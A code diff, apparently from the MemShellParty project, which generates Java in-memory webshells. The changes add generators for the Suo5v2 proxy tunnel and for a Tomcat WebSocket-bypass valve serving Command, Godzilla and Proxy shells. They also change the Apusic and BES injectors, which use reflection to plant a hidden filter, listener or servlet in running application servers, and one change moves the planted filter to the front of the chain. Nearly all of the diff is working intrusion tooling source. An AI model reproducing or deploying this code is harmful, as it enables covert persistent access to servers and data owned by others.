/**
|
||||||
|
* 将 Java EE 转换为 Jakarta EE 类名
|
||||||
|
*/
|
||||||
|
@Builder.Default
|
||||||
|
private boolean jakarta = false;
|
||||||
|
|
||||||
public boolean isDebugOff() {
|
public boolean isDebugOff() {
|
||||||
return !debug;
|
return !debug;
|
||||||
}
|
}
|
||||||
|
|
||||||
public boolean isJakarta() {
|
public boolean isJakarta() {
|
||||||
return shellType.startsWith(ShellType.JAKARTA);
|
return jakarta || shellType.startsWith(ShellType.JAKARTA);
|
||||||
}
|
}
|
||||||
|
|
||||||
public boolean needByPassJavaModule() {
|
public boolean needByPassJavaModule() {
|
||||||
|
|||||||
@@ -23,6 +23,10 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme
|
|||||||
|
|
||||||
protected abstract DynamicType.Builder<?> getBuilder();
|
protected abstract DynamicType.Builder<?> getBuilder();
|
||||||
|
|
||||||
|
protected byte[] postProcessBytes(byte[] classBytes) {
|
||||||
|
return classBytes;
|
||||||
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public byte[] getBytes() {
|
public byte[] getBytes() {
|
||||||
DynamicType.Builder<?> builder = getBuilder();
|
DynamicType.Builder<?> builder = getBuilder();
|
||||||
@@ -42,7 +46,8 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme
|
|||||||
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
|
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
|
||||||
|
|
||||||
try (DynamicType.Unloaded<?> unloaded = builder.make()) {
|
try (DynamicType.Unloaded<?> unloaded = builder.make()) {
|
||||||
return ProcessorRegistry.applyByteProcessors(unloaded.getBytes(), shellConfig, shellToolConfig);
|
byte[] bytes = postProcessBytes(unloaded.getBytes());
|
||||||
|
return ProcessorRegistry.applyByteProcessors(bytes, shellConfig, shellToolConfig);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -49,6 +49,12 @@ public class InjectorGenerator {
|
|||||||
.method(named("getBase64String")).intercept(FixedValue.value(base64String))
|
.method(named("getBase64String")).intercept(FixedValue.value(base64String))
|
||||||
.method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName()));
|
.method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName()));
|
||||||
|
|
||||||
|
byte[] helperClassBytes = injectorConfig.getHelperClassBytes();
|
||||||
|
if (helperClassBytes != null) {
|
||||||
|
String helperBase64 = Base64.getEncoder().encodeToString(CommonUtil.gzipCompress(helperClassBytes));
|
||||||
|
builder = builder.method(named("getHelperBase64String")).intercept(FixedValue.value(helperBase64));
|
||||||
|
}
|
||||||
|
|
||||||
if (shellConfig.needByPassJavaModule()) {
|
if (shellConfig.needByPassJavaModule()) {
|
||||||
builder = ByPassJavaModuleInterceptor.extend(builder);
|
builder = ByPassJavaModuleInterceptor.extend(builder);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -17,11 +17,11 @@ public final class ProcessorRegistry {
|
|||||||
private static final List<Processor<DynamicType.Builder<?>>> BUILDER_PROCESSORS = Arrays.asList(
|
private static final List<Processor<DynamicType.Builder<?>>> BUILDER_PROCESSORS = Arrays.asList(
|
||||||
new ListenerBuilderModifier(),
|
new ListenerBuilderModifier(),
|
||||||
new ValveBuilderModifier(),
|
new ValveBuilderModifier(),
|
||||||
new JakartaBuilderModifier(),
|
|
||||||
new DebugOffBuilderModifier()
|
new DebugOffBuilderModifier()
|
||||||
);
|
);
|
||||||
|
|
||||||
private static final List<Processor<byte[]>> BYTE_PROCESSORS = Arrays.asList(
|
private static final List<Processor<byte[]>> BYTE_PROCESSORS = Arrays.asList(
|
||||||
|
new JakartaPostProcessor(),
|
||||||
new JettyHandlerPostProcessor(),
|
new JettyHandlerPostProcessor(),
|
||||||
new ShrinkPostProcessor()
|
new ShrinkPostProcessor()
|
||||||
);
|
);
|
||||||
|
|||||||
@@ -0,0 +1,17 @@
|
|||||||
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.config.ProxyConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import net.bytebuddy.ByteBuddy;
|
||||||
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
|
||||||
|
public class ProxyGenerator extends ByteBuddyShellGenerator<ProxyConfig> {
|
||||||
|
public ProxyGenerator(ShellConfig shellConfig, ProxyConfig shellToolConfig) {
|
||||||
|
super(shellConfig, shellToolConfig);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected DynamicType.Builder<?> getBuilder() {
|
||||||
|
return new ByteBuddy().redefine(shellToolConfig.getShellClass());
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,46 @@
|
|||||||
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.ClassBytesShrink;
|
||||||
|
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.Suo5Config;
|
||||||
|
import com.reajason.javaweb.memshell.shelltool.suo5v2.Suo5v2;
|
||||||
|
import com.reajason.javaweb.utils.CommonUtil;
|
||||||
|
import net.bytebuddy.ByteBuddy;
|
||||||
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
import org.apache.commons.codec.binary.Base64;
|
||||||
|
|
||||||
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/2/12
|
||||||
|
*/
|
||||||
|
public class Suo5V2Generator extends ByteBuddyShellGenerator<Suo5Config> {
|
||||||
|
|
||||||
|
public Suo5V2Generator(ShellConfig shellConfig, Suo5Config suo5Config) {
|
||||||
|
super(shellConfig, suo5Config);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected DynamicType.Builder<?> getBuilder() {
|
||||||
|
if (Suo5v2.class.equals(shellToolConfig.getShellClass())) {
|
||||||
|
return new ByteBuddy()
|
||||||
|
.redefine(shellToolConfig.getShellClass())
|
||||||
|
.field(named("headerName")).value(shellToolConfig.getHeaderName())
|
||||||
|
.field(named("headerValue")).value(shellToolConfig.getHeaderValue());
|
||||||
|
}
|
||||||
|
try (DynamicType.Unloaded<Suo5v2> unloaded = new ByteBuddy()
|
||||||
|
.redefine(Suo5v2.class)
|
||||||
|
.name(CommonUtil.generateClassName())
|
||||||
|
.field(named("headerName")).value(shellToolConfig.getHeaderName())
|
||||||
|
.field(named("headerValue")).value(shellToolConfig.getHeaderValue())
|
||||||
|
.visit(TargetJreVersionVisitorWrapper.DEFAULT)
|
||||||
|
.make()) {
|
||||||
|
byte[] shrinkBytes = ClassBytesShrink.shrink(unloaded.getBytes(), true);
|
||||||
|
return new ByteBuddy()
|
||||||
|
.redefine(shellToolConfig.getShellClass())
|
||||||
|
.field(named("suo5V2GZipBase64")).value(Base64.encodeBase64String(CommonUtil.gzipCompress(shrinkBytes)));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,55 @@
|
|||||||
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.ClassBytesShrink;
|
||||||
|
import com.reajason.javaweb.GenerationException;
|
||||||
|
import com.reajason.javaweb.Server;
|
||||||
|
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||||
|
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||||
|
import com.reajason.javaweb.memshell.config.*;
|
||||||
|
import com.reajason.javaweb.memshell.shelltool.wsbypass.TomcatWsBypassValve;
|
||||||
|
import com.reajason.javaweb.utils.CommonUtil;
|
||||||
|
import net.bytebuddy.ByteBuddy;
|
||||||
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
import org.apache.commons.lang3.tuple.Pair;
|
||||||
|
|
||||||
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2026/1/13
|
||||||
|
*/
|
||||||
|
public class WebSocketByPassHelperGenerator {
|
||||||
|
public static byte[] getBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
|
||||||
|
Pair<String, String> headerPair = getHeaderPair(shellToolConfig);
|
||||||
|
if (headerPair == null) {
|
||||||
|
throw new GenerationException("unsupported shell config: " + shellConfig.getShellTool());
|
||||||
|
}
|
||||||
|
|
||||||
|
if (Server.Tomcat.equals(shellConfig.getServer())) {
|
||||||
|
DynamicType.Builder<TomcatWsBypassValve> builder = new ByteBuddy()
|
||||||
|
.redefine(TomcatWsBypassValve.class)
|
||||||
|
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
|
||||||
|
.field(named("headerName")).value(headerPair.getKey())
|
||||||
|
.field(named("headerValue")).value(headerPair.getValue())
|
||||||
|
.name(CommonUtil.generateClassName());
|
||||||
|
if (shellConfig.isJakarta()) {
|
||||||
|
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
||||||
|
}
|
||||||
|
try (DynamicType.Unloaded<TomcatWsBypassValve> dynamicType = builder.make()) {
|
||||||
|
return ClassBytesShrink.shrink(dynamicType.getBytes(), shellConfig.isShrink());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static Pair<String, String> getHeaderPair(ShellToolConfig shellToolConfig) {
|
||||||
|
if (shellToolConfig instanceof CommandConfig) {
|
||||||
|
return Pair.of(((CommandConfig) shellToolConfig).getHeaderName(), ((CommandConfig) shellToolConfig).getHeaderValue());
|
||||||
|
} else if (shellToolConfig instanceof GodzillaConfig) {
|
||||||
|
return Pair.of(((GodzillaConfig) shellToolConfig).getHeaderName(), ((GodzillaConfig) shellToolConfig).getHeaderValue());
|
||||||
|
} else if (shellToolConfig instanceof ProxyConfig) {
|
||||||
|
return Pair.of(((ProxyConfig) shellToolConfig).getHeaderName(), ((ProxyConfig) shellToolConfig).getHeaderValue());
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,7 +1,6 @@
|
|||||||
package com.reajason.javaweb.memshell.generator.command;
|
package com.reajason.javaweb.memshell.generator.command;
|
||||||
|
|
||||||
import net.bytebuddy.asm.Advice;
|
import net.bytebuddy.asm.Advice;
|
||||||
import org.apache.commons.io.IOUtils;
|
|
||||||
|
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.InputStream;
|
import java.io.InputStream;
|
||||||
|
|||||||
@@ -1,22 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.generator.processors;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
|
||||||
import com.reajason.javaweb.memshell.generator.Processor;
|
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/12/7
|
|
||||||
*/
|
|
||||||
public class JakartaBuilderModifier implements Processor<DynamicType.Builder<?>> {
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public DynamicType.Builder<?> process(DynamicType.Builder<?> builder, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
|
|
||||||
if (shellConfig.isJakarta()) {
|
|
||||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
|
||||||
}
|
|
||||||
return builder;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -0,0 +1,16 @@
|
|||||||
|
package com.reajason.javaweb.memshell.generator.processors;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.asm.ClassRenameUtils;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
|
import com.reajason.javaweb.memshell.generator.Processor;
|
||||||
|
|
||||||
|
public class JakartaPostProcessor implements Processor<byte[]> {
|
||||||
|
@Override
|
||||||
|
public byte[] process(byte[] input, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
|
||||||
|
if (shellConfig.isJakarta()) {
|
||||||
|
return ClassRenameUtils.relocateJakarta(input);
|
||||||
|
}
|
||||||
|
return input;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -17,6 +17,7 @@ import net.bytebuddy.description.modifier.Visibility;
|
|||||||
import net.bytebuddy.description.type.TypeDescription;
|
import net.bytebuddy.description.type.TypeDescription;
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
import net.bytebuddy.implementation.FixedValue;
|
import net.bytebuddy.implementation.FixedValue;
|
||||||
|
import net.bytebuddy.implementation.StubMethod;
|
||||||
import net.bytebuddy.matcher.ElementMatchers;
|
import net.bytebuddy.matcher.ElementMatchers;
|
||||||
|
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
@@ -46,12 +47,9 @@ public class ListenerBuilderModifier implements Processor<DynamicType.Builder<?>
|
|||||||
TypeDescription typeDefinition, String newClassName) {
|
TypeDescription typeDefinition, String newClassName) {
|
||||||
MethodList<MethodDescription.InDefinedShape> methods = typeDefinition.getDeclaredMethods();
|
MethodList<MethodDescription.InDefinedShape> methods = typeDefinition.getDeclaredMethods();
|
||||||
|
|
||||||
if (methods.filter(ElementMatchers.named("getResponseFromRequest")
|
if (methods.filter(named("getResponseFromRequest").and(takesArguments(1))).isEmpty()) {
|
||||||
.and(ElementMatchers.takesArguments(Object.class))
|
throw new GenerationException("please add [getResponseFromRequest(Object request)] method," +
|
||||||
.and(ElementMatchers.returns(Object.class)))
|
" the method body will be auto adapted for multi server");
|
||||||
.isEmpty()) {
|
|
||||||
throw new GenerationException("[public Object getResponseFromRequest(Object request)] method not found" +
|
|
||||||
" make sure arg and return type is Object.class");
|
|
||||||
} else {
|
} else {
|
||||||
builder = builder
|
builder = builder
|
||||||
.visit(MethodCallReplaceVisitorWrapper.newInstance(
|
.visit(MethodCallReplaceVisitorWrapper.newInstance(
|
||||||
@@ -59,13 +57,11 @@ public class ListenerBuilderModifier implements Processor<DynamicType.Builder<?>
|
|||||||
.visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")));
|
.visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")));
|
||||||
}
|
}
|
||||||
|
|
||||||
if (methods.filter(named("getFieldValue")
|
if (methods.filter(named("getFieldValue").and(takesArguments(Object.class, String.class))).isEmpty()) {
|
||||||
.and(takesArguments(Object.class, String.class)))
|
|
||||||
.isEmpty()) {
|
|
||||||
builder = builder.defineMethod("getFieldValue", Object.class, Visibility.PUBLIC, Ownership.STATIC)
|
builder = builder.defineMethod("getFieldValue", Object.class, Visibility.PUBLIC, Ownership.STATIC)
|
||||||
.withParameters(Object.class, String.class)
|
.withParameters(Object.class, String.class)
|
||||||
.throwing(Exception.class)
|
.throwing(Exception.class)
|
||||||
.intercept(FixedValue.nullValue())
|
.intercept(StubMethod.INSTANCE)
|
||||||
.visit(Advice.to(ShellCommonUtil.GetFieldValueInterceptor.class).on(named("getFieldValue")));
|
.visit(Advice.to(ShellCommonUtil.GetFieldValueInterceptor.class).on(named("getFieldValue")));
|
||||||
}
|
}
|
||||||
return builder;
|
return builder;
|
||||||
|
|||||||
@@ -8,6 +8,7 @@ import java.lang.reflect.Array;
|
|||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.HashSet;
|
import java.util.HashSet;
|
||||||
|
import java.util.LinkedHashSet;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
@@ -43,7 +44,7 @@ public class ApusicFilterInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -145,7 +146,12 @@ public class ApusicFilterInjector {
|
|||||||
Object filterMapping = filterMappingClass.newInstance();
|
Object filterMapping = filterMappingClass.newInstance();
|
||||||
invokeMethod(filterMapping, "setUrlPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
invokeMethod(filterMapping, "setUrlPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||||
invokeMethod(filterMapping, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
|
invokeMethod(filterMapping, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
|
||||||
invokeMethod(webModule, "addBeforeFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMapping});
|
LinkedHashSet beforeFilterMappings = (LinkedHashSet) getFieldValue(webModule, "beforeFilterMappings");
|
||||||
|
LinkedHashSet newSet = new LinkedHashSet();
|
||||||
|
newSet.add(filterMapping);
|
||||||
|
newSet.addAll(beforeFilterMappings);
|
||||||
|
beforeFilterMappings.clear();
|
||||||
|
beforeFilterMappings.addAll(newSet);
|
||||||
|
|
||||||
// addFilterModel
|
// addFilterModel
|
||||||
invokeMethod(webModule, "addFilter", new Class[]{String.class, String.class}, new Object[]{getClassName(), getClassName()});
|
invokeMethod(webModule, "addFilter", new Class[]{String.class, String.class}, new Object[]{getClassName(), getClassName()});
|
||||||
@@ -218,30 +224,25 @@ public class ApusicFilterInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
try {
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
Method method = null;
|
||||||
Method method = null;
|
while (clazz != null && method == null) {
|
||||||
while (clazz != null && method == null) {
|
try {
|
||||||
try {
|
if (paramClazz == null) {
|
||||||
if (paramClazz == null) {
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
method = clazz.getDeclaredMethod(methodName);
|
} else {
|
||||||
} else {
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
|
||||||
}
|
|
||||||
} catch (NoSuchMethodException e) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
if (method == null) {
|
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
|
||||||
}
|
|
||||||
|
|
||||||
method.setAccessible(true);
|
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
|
||||||
}
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
@@ -6,7 +6,9 @@ import java.io.IOException;
|
|||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.*;
|
import java.util.HashSet;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -40,7 +42,7 @@ public class ApusicListenerInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -197,30 +199,25 @@ public class ApusicListenerInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
try {
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
Method method = null;
|
||||||
Method method = null;
|
while (clazz != null && method == null) {
|
||||||
while (clazz != null && method == null) {
|
try {
|
||||||
try {
|
if (paramClazz == null) {
|
||||||
if (paramClazz == null) {
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
method = clazz.getDeclaredMethod(methodName);
|
} else {
|
||||||
} else {
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
|
||||||
}
|
|
||||||
} catch (NoSuchMethodException e) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
if (method == null) {
|
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
|
||||||
}
|
|
||||||
|
|
||||||
method.setAccessible(true);
|
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
|
||||||
}
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
@@ -6,7 +6,9 @@ import java.io.IOException;
|
|||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.*;
|
import java.util.HashSet;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -40,7 +42,7 @@ public class ApusicServletInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -198,30 +200,25 @@ public class ApusicServletInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
try {
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
Method method = null;
|
||||||
Method method = null;
|
while (clazz != null && method == null) {
|
||||||
while (clazz != null && method == null) {
|
try {
|
||||||
try {
|
if (paramClazz == null) {
|
||||||
if (paramClazz == null) {
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
method = clazz.getDeclaredMethod(methodName);
|
} else {
|
||||||
} else {
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
|
||||||
}
|
|
||||||
} catch (NoSuchMethodException e) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
if (method == null) {
|
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
|
||||||
}
|
|
||||||
|
|
||||||
method.setAccessible(true);
|
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
|
||||||
}
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
@@ -40,7 +40,7 @@ public class BesFilterInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -105,7 +105,7 @@ public class BesFilterInjector {
|
|||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
private ClassLoader getWebAppClassLoader(Object context) {
|
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||||
try {
|
try {
|
||||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
@@ -218,30 +218,25 @@ public class BesFilterInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
try {
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
Method method = null;
|
||||||
Method method = null;
|
while (clazz != null && method == null) {
|
||||||
while (clazz != null && method == null) {
|
try {
|
||||||
try {
|
if (paramClazz == null) {
|
||||||
if (paramClazz == null) {
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
method = clazz.getDeclaredMethod(methodName);
|
} else {
|
||||||
} else {
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
|
||||||
}
|
|
||||||
} catch (NoSuchMethodException e) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
if (method == null) {
|
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
|
||||||
}
|
|
||||||
|
|
||||||
method.setAccessible(true);
|
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
|
||||||
}
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
@@ -36,7 +36,7 @@ public class BesListenerInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
|
|||||||
@@ -35,7 +35,7 @@ public class BesValveInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
